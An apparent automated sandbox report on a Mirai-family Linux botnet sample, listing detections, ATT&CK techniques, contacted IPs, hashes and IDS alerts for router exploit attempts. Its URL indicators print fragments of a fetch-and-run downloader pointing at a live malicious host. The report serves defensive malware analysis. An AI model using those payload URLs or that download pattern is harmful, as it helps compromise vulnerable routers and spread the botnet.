Source: Yara match	File source: 6243.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7423.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6736.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7294.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7066.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7017.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7039.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6946.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6451.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7195.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6566.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7282.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6804.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7040.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6571.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7100.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7445.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6869.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7060.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6231, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6233, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6235, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6239, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6242, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6246, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6258, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6263, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6270, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6271, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6274, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6283, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6286, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6291, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 File and Directory Permissions Modification	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
log21.x86_64.elf	23%	ReversingLabs	Linux.Trojan.Mirai

Source	Detection	Scanner	Label
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://113.30.191.198/miniupd.sh;$	100%	Avira URL Cloud	malware
http://113.30.191.198/diag00/log21.mips	100%	Avira URL Cloud	malware
http://113.30.191.198/miniupd.sh;sh	100%	Avira URL Cloud	malware
http://113.30.191.198/miniupd.sh	100%	Avira URL Cloud	malware
http://113.30.191.198/miniupd.sh;	100%	Avira URL Cloud	malware
http://113.30.191.198/miniupd.sh;chmod$	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
proxy.akur.group!	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	log21.x86_64.elf	false		high
http://113.30.191.198/miniupd.sh;	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://113.30.191.198/miniupd.sh;$	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://113.30.191.198/miniupd.sh;chmod$	log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://113.30.191.198/miniupd.sh;sh	log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false		high
http://113.30.191.198/miniupd.sh	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://113.30.191.198/diag00/log21.mips	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false	Avira URL Cloud: malware	unknown
http://purenetworks.com/HNAP1/	log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
58.1.154.162	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
197.72.17.243	unknown	South Africa	16637	MTNNS-ASZA	false
197.223.14.237	unknown	Egypt	37069	MOBINILEG	false
157.17.14.36	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
148.75.73.113	unknown	United States	6128	CABLE-NET-1US	false
157.185.64.214	unknown	United States	40702	CLEARWAVE-COMMUNICATIONSUS	false
197.114.168.190	unknown	Algeria	36947	ALGTEL-ASDZ	false
141.155.68.138	unknown	United States	701	UUNETUS	false
90.228.24.104	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
41.102.197.111	unknown	Algeria	36947	ALGTEL-ASDZ	false
54.151.128.229	unknown	United States	16509	AMAZON-02US	false
157.97.64.137	unknown	Germany	25259	MDCLOUD-ES	false
14.237.13.90	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
41.92.148.204	unknown	Cameroon	36955	Matrix-ASN1CM	false
157.3.239.211	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
168.23.220.98	unknown	United States	3479	PEACHNET-AS1US	false
176.41.61.55	unknown	Turkey	34984	TELLCOM-ASTR	false
103.215.68.73	unknown	Indonesia	137222	NIXON-BRISBANE-AUiSeekDataCentreAU	false
157.153.30.179	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
81.53.39.127	unknown	France	3215	FranceTelecom-OrangeFR	false
93.82.79.102	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
41.227.43.47	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
197.213.176.82	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.115.248.57	unknown	South Africa	16637	MTNNS-ASZA	false
17.47.110.236	unknown	United States	714	APPLE-ENGINEERINGUS	false
168.235.64.96	unknown	United States	3842	RAMNODEUS	false
197.4.30.10	unknown	Tunisia	5438	ATI-TN	false
85.39.114.191	unknown	Italy	3269	ASN-IBSNAZIT	false
65.120.70.207	unknown	United States	27235	CVC-INET-33US	false
171.129.35.103	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
213.1.47.77	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
157.243.155.216	unknown	France	25789	LMUUS	false
86.72.230.96	unknown	France	15557	LDCOMNETFR	false
197.177.87.168	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.251.18.128	unknown	United States	32934	FACEBOOKUS	false
197.120.219.240	unknown	Egypt	36992	ETISALAT-MISREG	false
197.247.118.37	unknown	Morocco	36925	ASMediMA	false
23.18.27.36	unknown	United States	25877	OPEN-MOBILE-PUERTO-RICOUS	false
197.132.217.130	unknown	Egypt	24835	RAYA-ASEG	false
207.241.157.149	unknown	United States	22795	ABOUT-COMUS	false
117.129.226.178	unknown	China	56048	CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN	false
76.111.199.115	unknown	United States	7922	COMCAST-7922US	false
197.179.229.36	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.210.99.179	unknown	Nigeria	29465	VCG-ASNG	false
41.193.111.42	unknown	South Africa	11845	Vox-TelecomZA	false
156.215.141.78	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.114.186.73	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.191.38.224	unknown	Ghana	37140	zain-asGH	false
139.55.39.217	unknown	United States	7029	WINDSTREAMUS	false
197.189.47.28	unknown	Congo The Democratic Republic of The	37598	EbaleCD	false
204.124.244.2	unknown	United States	27495	OPENTEXT-AS-NA-US1CA	false
197.46.218.175	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.9.137.148	unknown	South Africa	29975	VODACOM-ZA	false
197.175.135.213	unknown	South Africa	37168	CELL-CZA	false
197.62.194.59	unknown	Egypt	8452	TE-ASTE-ASEG	false
173.182.201.67	unknown	Canada	852	ASN852CA	false
99.39.73.1	unknown	United States	7018	ATT-INTERNET4US	false
169.151.80.240	unknown	United States	2386	INS-ASUS	false
66.41.52.187	unknown	United States	7922	COMCAST-7922US	false
136.215.251.238	unknown	United States	1585	DNIC-ASBLK-01550-01601US	false
164.46.221.13	unknown	Japan	2554	IDCF2554IDCFrontierIncJP	false
83.98.104.170	unknown	United Kingdom	30914	IOKO-ASGB	false
18.187.12.32	unknown	United States	16509	AMAZON-02US	false
87.247.144.12	unknown	Russian Federation	49505	SELECTELRU	false
207.29.123.102	unknown	United States	6122	ICN-ASUS	false
157.50.14.137	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.214.20.195	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.245.175.182	unknown	South Africa	11845	Vox-TelecomZA	false
97.175.97.26	unknown	United States	6167	CELLCO-PARTUS	false
203.254.51.173	unknown	Korea Republic of	9494	KOSINET-ASNationalInfomationSocietyAgencyKR	false
157.41.98.165	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.44.142.84	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
216.17.232.29	unknown	United States	6582	FRIIUS	false
41.156.139.106	unknown	South Africa	37168	CELL-CZA	false
174.96.237.239	unknown	United States	10796	TWC-10796-MIDWESTUS	false
132.108.61.36	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
157.204.30.222	unknown	United States	54216	GORE-NETWORKUS	false
47.66.141.176	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
197.155.211.200	unknown	unknown	36974	AFNET-ASCI	false
41.192.59.153	unknown	South Africa	29975	VODACOM-ZA	false
197.207.206.195	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.253.208.11	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
156.80.10.8	unknown	United States	393649	BOOZ-AS2US	false
129.136.11.21	unknown	Japan	3359	U-ALBERTACA	false
40.84.1.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.194.15.51	unknown	United States	4704	SANNETRakutenMobileIncJP	false
121.116.78.125	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.60.172.97	unknown	Mauritius	37146	realtime-asZM	false
41.15.228.164	unknown	South Africa	29975	VODACOM-ZA	false
157.118.135.134	unknown	Japan	58785	TGU-NETTohokuGakuinUniversityJP	false
197.33.191.197	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.96.124.84	unknown	South Africa	3741	ISZA	false
155.217.66.237	unknown	United States	1500	DNIC-ASBLK-01500-01502US	false
157.56.241.219	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.182.219.43	unknown	United States	12118	WVUUS	false
161.177.75.127	unknown	United States	10695	WAL-MARTUS	false
44.57.158.165	unknown	United States	7377	UCSDUS	false
41.53.102.226	unknown	South Africa	37168	CELL-CZA	false
167.252.161.159	unknown	Argentina	3549	LVLT-3549US	false
197.240.178.171	unknown	unknown	37705	TOPNETTN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
157.185.64.214	r2PdOoSOt5.elf	Get hash	malicious	Browse
157.185.64.214	mcCHLMW9li.elf	Get hash	malicious	Browse
41.92.148.204	SecuriteInfo.com.Linux.Siggen.9999.169.15274	Get hash	malicious	Browse
41.92.148.204	kfHWoySTel	Get hash	malicious	Browse
157.3.239.211	mpsl-20220925-1656.elf	Get hash	malicious	Browse
157.97.64.137	kpEmI9VCH0.elf	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MTNNS-ASZA	log21.i686.elf	Get hash	malicious	Browse	41.115.213.196
	log21.mips.elf	Get hash	malicious	Browse	41.124.253.220
	log21.m68k.elf	Get hash	malicious	Browse	197.79.92.2
	log21.mpsl.elf	Get hash	malicious	Browse	41.122.162.159
	log21.arm.elf	Get hash	malicious	Browse	41.125.243.116
	log21.armv5.elf	Get hash	malicious	Browse	41.115.200.78
	log21.armv7	Get hash	malicious	Browse	41.118.208.7
	eOKWFR38tO.elf	Get hash	malicious	Browse	41.195.197.44
	log21.x86.elf	Get hash	malicious	Browse	41.113.13.35
	o38ZHLRw1D.elf	Get hash	malicious	Browse	216.5.36.222
	p2u8AWCp56.elf	Get hash	malicious	Browse	41.115.200.44
	E61YQkjoKn.elf	Get hash	malicious	Browse	41.126.94.180
	DF561XwYj2.elf	Get hash	malicious	Browse	41.120.158.130
	Y7sFbi0UY9.elf	Get hash	malicious	Browse	197.65.69.89
	bsUsCyB61C.elf	Get hash	malicious	Browse	197.73.232.53
	l74eoETA5E.elf	Get hash	malicious	Browse	41.123.62.214
	GNXAIWLGRR.elf	Get hash	malicious	Browse	197.72.230.238
	HfkMoXkU5b.elf	Get hash	malicious	Browse	197.78.22.245
	ljc.sh	Get hash	malicious	Browse	41.117.228.119
	ST8t1uGF6l.elf	Get hash	malicious	Browse	197.73.219.55
INFOWEBFUJITSULIMITEDJP	c2FA6NS2Ey.elf	Get hash	malicious	Browse	219.116.253.52
	Y7sFbi0UY9.elf	Get hash	malicious	Browse	164.71.88.225
	WbjTvuf9X2.elf	Get hash	malicious	Browse	121.92.122.40
	U3NCSizv0d.elf	Get hash	malicious	Browse	121.92.134.47
	x86.elf	Get hash	malicious	Browse	220.219.163.169
	B2EfeWrsWO.elf	Get hash	malicious	Browse	111.64.167.86
	i0ULkIoV53.elf	Get hash	malicious	Browse	111.66.224.159
	vvaoMHTcTU.elf	Get hash	malicious	Browse	175.190.238.205
	2DLd2J82an.elf	Get hash	malicious	Browse	219.116.142.210
	Payment Notice_pdf.exe	Get hash	malicious	Browse	210.157.78.55
	fWikJEXL2p.elf	Get hash	malicious	Browse	202.248.251.203
	GFr09FV2bE.elf	Get hash	malicious	Browse	58.0.56.25
	fr2DwAHxIY.elf	Get hash	malicious	Browse	115.176.72.92
	uhCqa8i4WX.elf	Get hash	malicious	Browse	220.219.115.215
	Q5GN0fA8VQ.elf	Get hash	malicious	Browse	111.80.33.227
	iHNnlVPvr3.elf	Get hash	malicious	Browse	111.65.24.99
	tmWKvS1GRO.elf	Get hash	malicious	Browse	125.3.159.180
	tnwDVui4j5.elf	Get hash	malicious	Browse	220.145.104.23
	Payment Notice_pdf.exe	Get hash	malicious	Browse	210.157.78.55
	5hP9peipcx.elf	Get hash	malicious	Browse	220.209.8.228

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Entropy (8bit):	7.969054190253196
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	log21.x86_64.elf
File size:	43856
MD5:	f9fa0971b974a9397558d3e9c02dd092
SHA1:	1c23b22d0aae8821a5a21e3f455e795a271068da
SHA256:	09cbbd696e50e03602de58aa62211f282675be9795b8b7f0134f6146241f6e7a
SHA512:	3659f9d8916f59961a445964e2e2dcacb830f699849306053168c4ffec13913c107ac71e91744ff6b44c04a8b7fb644b1c34b1fdf28d7babdb8d243561d429d0
SSDEEP:	768:IXTQv0zfnz6PIypr1r1lZh+sMiiDD/+00fFcpMVGOJMIFuv6x0x:IXTGYgprhDZEVD/yGGVZJFFuCw
TLSH:	051302B3552560BDE42BA27C8E036380E343BC07069E6F491FDDB56BECAB111B4C9762
File Content Preview:	.ELF..............>.......@.....@...................@.8...@.......................@.......@.....D.......D......... .......................a.......a.............................Q.td....................................................$J."UPX!H..............

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x400000	0x400000	0xaa44	0xaa44	7.9707	0x5	R E	0x200000
LOAD	0x800	0x61c800	0x61c800	0x0	0x0	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23197.194.35.1640284372152835222 02/12/23-21:25:59.700349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40284	37215	192.168.2.23	197.194.35.16
192.168.2.2334.110.252.20033702372152835222 02/12/23-21:25:54.553303	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33702	37215	192.168.2.23	34.110.252.200
192.168.2.23197.199.51.8553274372152835222 02/12/23-21:24:45.960835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53274	37215	192.168.2.23	197.199.51.85
192.168.2.23197.192.2.2453192372152835222 02/12/23-21:25:41.774510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53192	37215	192.168.2.23	197.192.2.24
192.168.2.23147.46.113.3538074372152835222 02/12/23-21:25:16.086103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38074	37215	192.168.2.23	147.46.113.35
192.168.2.23197.196.220.23736814372152835222 02/12/23-21:26:12.969560	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36814	37215	192.168.2.23	197.196.220.237
192.168.2.23197.193.57.12940324372152835222 02/12/23-21:24:45.954281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40324	37215	192.168.2.23	197.193.57.129
192.168.2.23197.194.160.17538508372152835222 02/12/23-21:24:53.118146	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38508	37215	192.168.2.23	197.194.160.175
192.168.2.2341.153.205.2939230372152835222 02/12/23-21:25:39.564782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39230	37215	192.168.2.23	41.153.205.29
192.168.2.23197.197.49.4954676372152835222 02/12/23-21:24:42.885772	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54676	37215	192.168.2.23	197.197.49.49
192.168.2.2341.152.40.10553024372152835222 02/12/23-21:24:58.219138	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53024	37215	192.168.2.23	41.152.40.105
192.168.2.2341.153.192.11153014372152835222 02/12/23-21:25:34.474929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53014	37215	192.168.2.23	41.153.192.111
192.168.2.2352.57.46.4955188802029215 02/12/23-21:25:08.751289	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	55188	80	192.168.2.23	52.57.46.49
192.168.2.23197.192.96.23348450372152835222 02/12/23-21:26:09.892911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48450	37215	192.168.2.23	197.192.96.233
192.168.2.23197.196.152.1845832372152835222 02/12/23-21:25:33.500438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45832	37215	192.168.2.23	197.196.152.18
192.168.2.2341.153.231.2435092372152835222 02/12/23-21:25:26.318555	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35092	37215	192.168.2.23	41.153.231.24
192.168.2.23197.197.154.15038886372152835222 02/12/23-21:24:39.734139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38886	37215	192.168.2.23	197.197.154.150
